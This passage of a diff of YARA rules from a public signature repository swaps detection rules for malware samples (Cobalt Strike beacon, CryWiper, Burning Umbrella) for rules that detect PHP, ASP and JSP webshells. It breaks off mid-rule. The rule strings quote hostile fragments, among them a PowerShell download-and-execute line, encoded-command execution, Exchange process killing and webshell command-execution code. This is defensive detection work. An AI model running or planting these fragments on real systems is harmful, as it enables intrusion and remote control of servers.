-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_malware_set_qa.yar#L71-L87"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "20c849d8c60acd77a28244c7ebcbb2f96b233e74af6c52112a0c828e1de2ed84"
-		score = 80
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4446-L4458"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "40d0abceba125868be7f3f990f031521"
+		logic_hash = "566c324f3bf44ce9f32ddad82a8d3daa87a8a75b5ca0c8286bc912a8ae4ac8e9"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f06d1f2bee2eb6590afbfa7f011ceba9bd91ba31cdc721bc728e13b547ac9370"
+		tags = ""
 
 	strings:
-		$s1 = "\\funoverip\\ultimate-payload-template1\\" ascii
-		$s2 = "ULTIMATEPAYLOADTEMPLATE1" fullword wide
-		$s3 = "ultimate-payload-template1" fullword wide
+		$s0 = "Antichat"
+		$s1 = "Can't open file, permission denide"
+		$s2 = "$ra44"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and 1 of them ) or ( all of them )
+		2 of them
 }
-rule SIGNATURE_BASE_Malware_QA_Get_The_Fucking_IP : FILE
+rule SIGNATURE_BASE_Safe_Mode_Bypass_PHP_4_4_2_And_PHP_5_1_2_Php
 {
 	meta:
-		description = "VT Research QA uploaded malware - file get The FucKinG IP.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1c992fc5-79cf-532c-a18b-cfcc3406d6ed"
-		date = "2016-08-29"
+		description = "Semi-Auto-generated  - file Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "3e81f628-31b4-5c22-943e-62c8cb4c0c4d"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "VT Research QA"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_malware_set_qa.yar#L89-L107"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ab6a60142ef0e7a6e079a1b62da0b962dc3b59584b785516e93c74669574a81b"
-		score = 80
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4459-L4471"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "49ad9117c96419c35987aaa7e2230f63"
+		logic_hash = "d6d2a3999f2e8ceb70f57697c0a845edbbcfce0aba151ec6a0ac23f55265cd47"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "7b2c04e384919075be96e3412d92c14fc1165d1bc7556fd207488959c5c4d2f7"
+		tags = ""
 
 	strings:
-		$x1 = "C:\\Users\\Mdram ahmed\\AppData"
-		$x2 = "\\Local\\Temporary Projects\\get The FucKinG IP\\" ascii
-		$x3 = "get The FucKinG IP.exe" fullword wide
-		$x4 = "get ip by mdr3m" fullword wide
-		$x5 = "MDR3M kik: Mdr3mhm" fullword wide
+		$s0 = "Welcome.. By This script you can jump in the (Safe Mode=ON) .. Enjoy"
+		$s1 = "Mode Shell v1.0</font></span>"
+		$s2 = "has been already loaded. PHP Emperor <xb5@hotmail."
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and 1 of ($x*)) or (2 of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Malware_QA_Vqgk : FILE
+rule SIGNATURE_BASE_Mysql_Php_Php
 {
 	meta:
-		description = "VT Research QA uploaded malware - file vqgk.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9246d9de-92e5-5cb8-857c-1e222c3d74d5"
-		date = "2016-08-29"
-		modified = "2022-12-21"
-		reference = "VT Research QA"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_malware_set_qa.yar#L109-L137"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "19b7099cdb8a984f1ba6cf88024db398a81ac4f4bf3c16cac40c5ee0e5b465fd"
-		score = 80
+		description = "Semi-Auto-generated  - file mysql.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "41730336-0dce-5ed9-95b0-c911a4e3cb48"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4472-L4484"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "12bbdf6ef403720442a47a3cc730d034"
+		logic_hash = "60e235310f378698ffcc3ae6a07ab5dd94a660ca4b1504cc878d9741f751d5d1"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "99541ab28fc3328e25723607df4b0d9ea0a1af31b58e2da07eff9f15c4e6565c"
+		tags = ""
 
 	strings:
-		$x1 = "Z:\\devcenter\\aggressor\\external" ascii
-		$x2 = "\\beacon\\Release\\beacon.pdb" ascii
-		$x3 = "%d is an x86 process (can't inject x64 content)" fullword ascii
-		$x4 = "%d is an x64 process (can't inject x86 content)" fullword ascii
-		$s1 = "powershell -nop -exec bypass -EncodedCommand \"%s\"" fullword ascii
-		$s2 = "Could not open process token: %d (%u)" fullword ascii
-		$s3 = "\\\\%s\\pipe\\msagent_%x" fullword ascii
-		$s4 = "\\sysnative\\rundll32.exe" ascii
-		$s5 = "Failed to impersonate logged on user %d (%u)" fullword ascii
-		$s6 = "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s" fullword ascii
-		$s7 = "could not write to process memory: %d" fullword ascii
-		$s8 = "beacon.dll" fullword ascii
-		$s9 = "Failed to impersonate token from %d (%u)" fullword ascii
+		$s0 = "action=mysqlread&mass=loadmass\">load all defaults"
+		$s2 = "if (@passthru($cmd)) { echo \" -->\"; $this->output_state(1, \"passthru"
+		$s3 = "$ra44  = rand(1,99999);$sj98 = \"sh-$ra44\";$ml = \"$sd98\";$a5 = "
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <600KB and (1 of ($x*) or 5 of ($s*))) or (7 of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Malware_QA_1177 : FILE
+rule SIGNATURE_BASE_Worse_Linux_Shell_Php
 {
 	meta:
-		description = "VT Research QA uploaded malware - file 1177.vbs"
-		author = "Florian Roth (Nextron Systems)"
-		id = "363228c1-f9f8-5319-91b2-7eabdd1ca3f8"
-		date = "2016-08-29"
+		description = "Semi-Auto-generated  - file Worse Linux Shell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "e223e2a9-7c7a-597a-8b90-a63ee11805ea"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "VT Research QA"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_malware_set_qa.yar#L139-L161"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0fa8e6c048bcc51553e8078a71416013696dd937c1508cd636873eab56c3797f"
-		score = 80
-		quality = 81
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ff3a2740330a6cbae7888e7066942b53015728c367cf9725e840af5b2a3fa247"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4485-L4496"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8338c8d9eab10bd38a7116eb534b5fa2"
+		logic_hash = "47801296b700e85f9e08857eb06f845ef8ed3f88b7d0de34d4b7c47cef6cc7fb"
+		score = 75
+		quality = 85
+		tags = ""
 
 	strings:
-		$x1 = ".specialfolders (\"startup\") & \"\\ServerName.EXE\"" fullword ascii
-		$x2 = "expandenvironmentstrings(\"%%InsallDir%%\") " ascii
-		$s1 = "CreateObject(\"WScript.Shell\").Run(" ascii
-		$s2 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAA" ascii
-		$s3 = "cial Thank's to Dev-point.com" fullword ascii
-		$s4 = ".createElement(\"tmp\")" fullword ascii
-		$s5 = "'%CopyToStartUp%" fullword ascii
+		$s1 = "print \"<tr><td><b>Server is:</b></td><td>\".$_SERVER['SERVER_SIGNATURE'].\"</td"
+		$s2 = "print \"<tr><td><b>Execute command:</b></td><td><input size=100 name=\\\"_cmd"
 
 	condition:
-		( uint16(0)==0x4d27 and filesize <100KB and (1 of ($x*) or 4 of ($s*))) or (5 of them )
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Corkowdll : FILE
+rule SIGNATURE_BASE_Cyberlords_Sql_Php_Php
 {
 	meta:
-		description = "Rule to detect the Corkow DLL files"
-		author = "Group IB"
-		id = "cc9d2bb3-8db3-54a0-bd05-7f054ce84633"
-		date = "2016-01-02"
+		description = "Semi-Auto-generated  - file cyberlords_sql.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "41730336-0dce-5ed9-95b0-c911a4e3cb48"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.group-ib.ru/brochures/Group-IB-Corkow-Report-EN.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_corkow_dll.yar#L3-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "072112c79f20ba08b7ef71d3dacff7eb947b4a27bf6381ce788e229f2f791cdf"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4497-L4510"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "03b06b4183cb9947ccda2c3d636406d4"
+		logic_hash = "b3286f9fd86c90c5afc79801b6d65c9ae52ee1c37da93ff15461d84f37ef8019"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$binary1 = { 60 [0-8] 9C [0-8] BB ?? ?? ?? ?? [0-8] 81 EB ?? ?? ?? ?? [0-8] E8 ?? 00 00 00 [0-8] 58 [0-8] 2B C3 }
-		$binary2 = { (FF 75 ?? | 53) FF 75 10 FF 75 0C FF 75 08 E8 ?? ?? ?? ?? [3-9] C9 C2 0C 00 }
+		$s0 = "Coded by n0 [nZer0]"
+		$s1 = " www.cyberlords.net"
+		$s2 = "U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAMUExURf///wAAAJmZzAAAACJoURkAAAAE"
+		$s3 = "return \"<BR>Dump error! Can't write to \".htmlspecialchars($file);"
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($binary*) and (pe.exports("Control_RunDLL") or pe.exports("ServiceMain") or pe.exports("DllGetClassObject")) or (pe.exports("ServiceMain") and pe.exports("Control_RunDLL")))
+		1 of them
 }
-rule SIGNATURE_BASE_SUSP_Themebleed_Theme_Sep23 : FILE
+rule SIGNATURE_BASE_Cmd_Asp_5_1_Asp
 {
 	meta:
-		description = "Detects domain or IP placement in Windows theme files"
-		author = "@m_haggis, @nas_bench"
-		id = "76d0042b-655d-5d03-bcc4-150ebc92eb43"
-		date = "2023-09-13"
+		description = "Semi-Auto-generated  - file cmd-asp-5.1.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "fc204ab8-892d-5435-a737-a185ca32e938"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/gabe-k/themebleed"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_cve_2023_38146.yar#L1-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "577003741f07aeffafd2b0b22913de44ea4f5ed264f4104ee013104355f65311"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4511-L4522"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8baa99666bf3734cbdfdd10088e0cd9f"
+		logic_hash = "a41c83da1a65e67b6f4ac6ad7cc8702486957ab0c7dda658d071e603338c324b"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$s1 = /Path=\\\\[0-9a-zA-Z\.-]{1,20}\\/
-		$s2 = "[VisualStyles]"
-		$s3 = "[Theme]"
+		$s0 = "Call oS.Run(\"win.com cmd.exe /c del \"& szTF,0,True)" fullword
+		$s3 = "Call oS.Run(\"win.com cmd.exe /c \"\"\" & szCMD & \" > \" & szTF &" fullword
 
 	condition:
-		filesize <1MB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_APT_Crywiper_Dec22
+rule SIGNATURE_BASE_Pws_Php_Php
 {
 	meta:
-		description = "Detects CryWiper malware samples"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d56ccf4e-30ba-5308-ad68-ffc2ae5a1718"
-		date = "2022-12-05"
+		description = "Semi-Auto-generated  - file pws.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "1ec47c33-dbec-50bd-b4b0-8f00b704a816"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://securelist-ru.translate.goog/novyj-troyanec-crywiper/106114/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ru_crywiper.yar#L2-L19"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7c22e02ed996cd820ed87a0c5d50e3264629cdd887aad4ea466cadeccaee2b2f"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4523-L4535"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ecdc6c20f62f99fa265ec9257b7bf2ce"
+		logic_hash = "98dae8aab5bfd58f4264e318f5a5b5900b38687386f9d7f09c31da0f51d57bc0"
 		score = 75
 		quality = 85
 		tags = ""
 
 	strings:
-		$x1 = "Software\\Sysinternals\\BrowserUpdate"
-		$sx1 = "taskkill.exe /f /im MSExchange*"
-		$s1 = "SYSTEM\\CurrentControlSet\\Control\\Terminal Server" ascii
-		$s2 = "fDenyTSConnections" ascii
+		$s0 = "<div align=\"left\"><font size=\"1\">Input command :</font></div>" fullword
+		$s1 = "<input type=\"text\" name=\"cmd\" size=\"30\" class=\"input\"><br>" fullword
+		$s4 = "<input type=\"text\" name=\"dir\" size=\"30\" value=\"<? passthru(\"pwd\"); ?>"
 
 	condition:
-		1 of ($x*) or all of ($s*)
+		2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_1 : FILE
+rule SIGNATURE_BASE_PHP_Shell_Php_Php
 {
 	meta:
-		description = "Detects malware sample from Burning Umbrella report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9f8a6831-172b-5310-9763-43657b79b91d"
-		date = "2018-05-04"
+		description = "Semi-Auto-generated  - file PHP Shell.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "6978126c-5414-52d2-b085-6e5589716d93"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://401trg.pw/burning-umbrella/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_burning_umbrella.yar#L13-L31"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d8ed432fea930eb9b4d695a4a68b833f4324fe0bbea3f0ccac2fe5934bfa1c22"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4536-L4547"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a2f8fa4cce578fc9c06f8e674b9e63fd"
+		logic_hash = "2d5b6e08bfe9e1551dab12b01189dadc924c097427c996684bab96c48d528395"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "fcfe8fcf054bd8b19226d592617425e320e4a5bb4798807d6f067c39dfc6d1ff"
+		tags = ""
 
 	strings:
-		$s1 = { 40 00 00 E0 75 68 66 61 6F 68 6C 79 }
-		$s2 = { 40 00 00 E0 64 6A 7A 66 63 6D 77 62 }
+		$s0 = "echo \"</form><form action=\\\"$SFileName?$urlAdd\\\" method=\\\"post\\\"><input"
+		$s1 = "echo \"<form action=\\\"$SFileName?$urlAdd\\\" method=\\\"POST\\\"><input type="
 
 	condition:
-		uint16(0)==0x5a4d and filesize <4000KB and (pe.imphash()=="baa93d47220682c04d92f7797d9224ce" and $s1 in (0..1024) and $s2 in (0..1024))
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_2 : FILE
+rule SIGNATURE_BASE_Ayyildiz_Tim___AYT__Shell_V_2_1_Biz_Html
 {
 	meta:
-		description = "Detects malware sample from Burning Umbrella report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "926b4a29-ce47-559b-94e3-1fabd90f3fbe"
-		date = "2018-05-04"
+		description = "Semi-Auto-generated  - file Ayyildiz Tim  -AYT- Shell v 2.1 Biz.html.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "d50a8669-fd28-59d2-9f00-f4fe2b85dc22"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://401trg.pw/burning-umbrella/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_burning_umbrella.yar#L33-L51"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0c298176e5849b2b202089f27cffb7646243d19a90898bbf079a97d2f624a27e"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4548-L4561"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8a8c8bb153bd1ee097559041f2e5cf0a"
+		logic_hash = "9e2d56b49df65a2c13e15f97ec91cdbb6852d86e86f921d7c8a4db82cbea12f5"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "801a64a730fc8d80e17e59e93533c1455686ca778e6ba99cf6f1971a935eda4c"
+		tags = ""
 
 	strings:
-		$s1 = { 40 00 00 E0 63 68 72 6F 6D 67 75 78 }
-		$s2 = { 40 00 00 E0 77 62 68 75 74 66 6F 61 }
-		$s3 = "ActiveX Manager" wide
+		$s0 = "Ayyildiz"
+		$s1 = "TouCh By iJOo"
+		$s2 = "First we check if there has been asked for a working directory"
+		$s3 = "http://ayyildiz.org/images/whosonline2.gif"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and $s1 in (0..1024) and $s2 in (0..1024) and $s3
+		2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_3 : FILE
+rule SIGNATURE_BASE_EFSO_2_Asp
 {
 	meta:
-		description = "Detects malware sample from Burning Umbrella report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b997822a-3f62-51b4-bd96-e780ffe60812"
-		date = "2018-05-04"
+		description = "Semi-Auto-generated  - file EFSO_2.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "f0566790-b41c-5167-b7ec-19e7d04256d1"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://401trg.pw/burning-umbrella/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_burning_umbrella.yar#L53-L66"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ad39864eec58b1c655bd3d510faa314702d118cee845da55d189e7252174eafb"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4562-L4573"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b5fde9682fd63415ae211d53c6bfaa4d"
+		logic_hash = "15e5419854bcbb08f28fff1e266cca7a004f01ec0a5c313c107ec17c3aa7ffee"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "92efbecc24fbb5690708926b6221b241b10bdfe3dd0375d663b051283d0de30f"
+		tags = ""
 
 	strings:
-		$s1 = "HKEY_CLASSES_ROOT\\Word.Document.8\\shell\\Open\\command" fullword ascii
+		$s0 = "Ejder was HERE"
+		$s1 = "*~PU*&BP[_)f!8c2F*@#@&~,P~P,~P&q~8BPmS~9~~lB~X`V,_,F&*~,jcW~~[_c3TRFFzq@#@&PP,~~"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and 1 of them
+		2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_4 : FILE
+rule SIGNATURE_BASE_Lamashell_Php
 {
 	meta:
-		description = "Detects malware sample from Burning Umbrella report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "3489f64b-7ebc-55b8-bd11-afaa719e572b"
-		date = "2018-05-04"
+		description = "Semi-Auto-generated  - file lamashell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "cbbb3377-ef9c-5fd1-a8b8-2b730fb5ef28"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://401trg.pw/burning-umbrella/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_burning_umbrella.yar#L68-L99"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1889ce1101ebb352c33279d40641f1f2312c45c6f7e267f4912a9faf320e5971"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4574-L4586"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "de9abc2e38420cad729648e93dfc6687"
+		logic_hash = "5e156c3057338fa7b306b91dd979851dd56b8b698cfe99e1d7b6d096a4c580e7"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a1629e8abce9d670fdb66fa1ef73ad4181706eefb8adc8a9fd257b6a21be48c6"
+		tags = ""
 
 	strings:
-		$x1 = "dumpodbc.exe" fullword ascii
-		$x2 = "photo_Bundle.exe" fullword ascii
-		$x3 = "Connect 2 fails : %d,%s:%d" fullword ascii
-		$x4 = "Connect fails 1 : %d %s:%d" fullword ascii
-		$x5 = "New IP : %s,New Port: %d" fullword ascii
-		$x6 = "Micrsoft Corporation. All rights reserved." fullword wide
-		$x7 = "New ConFails : %d" fullword ascii
-		$s1 = "cmd /c net stop stisvc" fullword ascii
-		$s2 = "cmd /c net stop spooler" fullword ascii
-		$s3 = "\\temp\\s%d.dat" ascii
-		$s4 = "cmd /c net stop wuauserv" fullword ascii
-		$s5 = "User-Agent: MyApp/0.1" fullword ascii
-		$s6 = "%s->%s Fails : %d" fullword ascii
-		$s7 = "Enter WorkThread,Current sock:%d" fullword ascii
+		$s0 = "lama's'hell" fullword
+		$s1 = "if($_POST['king'] == \"\") {"
+		$s2 = "if (move_uploaded_file($_FILES['fila']['tmp_name'], $curdir.\"/\".$_FILES['f"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <50KB and ((pe.exports("Print32") and 2 of them ) or 1 of ($x*) or 4 of them )
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_6 : FILE
+rule SIGNATURE_BASE_Ajax_PHP_Command_Shell_Php
 {
 	meta:
-		description = "Detects malware sample from Burning Umbrella report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7198a734-fd54-5cb5-9966-b91796a415c7"
-		date = "2018-05-04"
+		description = "Semi-Auto-generated  - file Ajax_PHP Command Shell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "cae2e035-ae7b-589b-b2d9-e709028274c5"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://401trg.pw/burning-umbrella/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_burning_umbrella.yar#L101-L115"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ee671bc09cc0c84c9817ed800f1416a75f18a70fd2cf6a7e9f063fffa01fa003"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4587-L4599"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "93d1a2e13a3368a2472043bd6331afe9"
+		logic_hash = "37cba26018f3d37194a143871012a61a7bcee6775d2cf5f93a52b779010d3260"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "49ef2b98b414c321bcdbab107b8fa71a537958fe1e05ae62aaa01fe7773c3b4b"
+		tags = ""
 
 	strings:
-		$s1 = "ExecuteFile=\"hidcon:nowait:\\\"Word\\\\r.bat\\\"\"" fullword ascii
-		$s2 = "InstallPath=\"%Appdata%\\\\Microsoft\"" fullword ascii
+		$s1 = "newhtml = '<b>File browser is under construction! Use at your own risk!</b> <br>"
+		$s2 = "Empty Command..type \\\"shellhelp\\\" for some ehh...help"
+		$s3 = "newhtml = '<font size=0><b>This will reload the page... :(</b><br><br><form enct"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and 1 of them
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_7 : FILE
+rule SIGNATURE_BASE_Jspwebshell_1_2_Jsp
 {
 	meta:
-		description = "Detects malware sample from Burning Umbrella report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7e427512-a8ee-53ae-a141-e995e74ca845"
-		date = "2018-05-04"
+		description = "Semi-Auto-generated  - file JspWebshell 1.2.jsp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
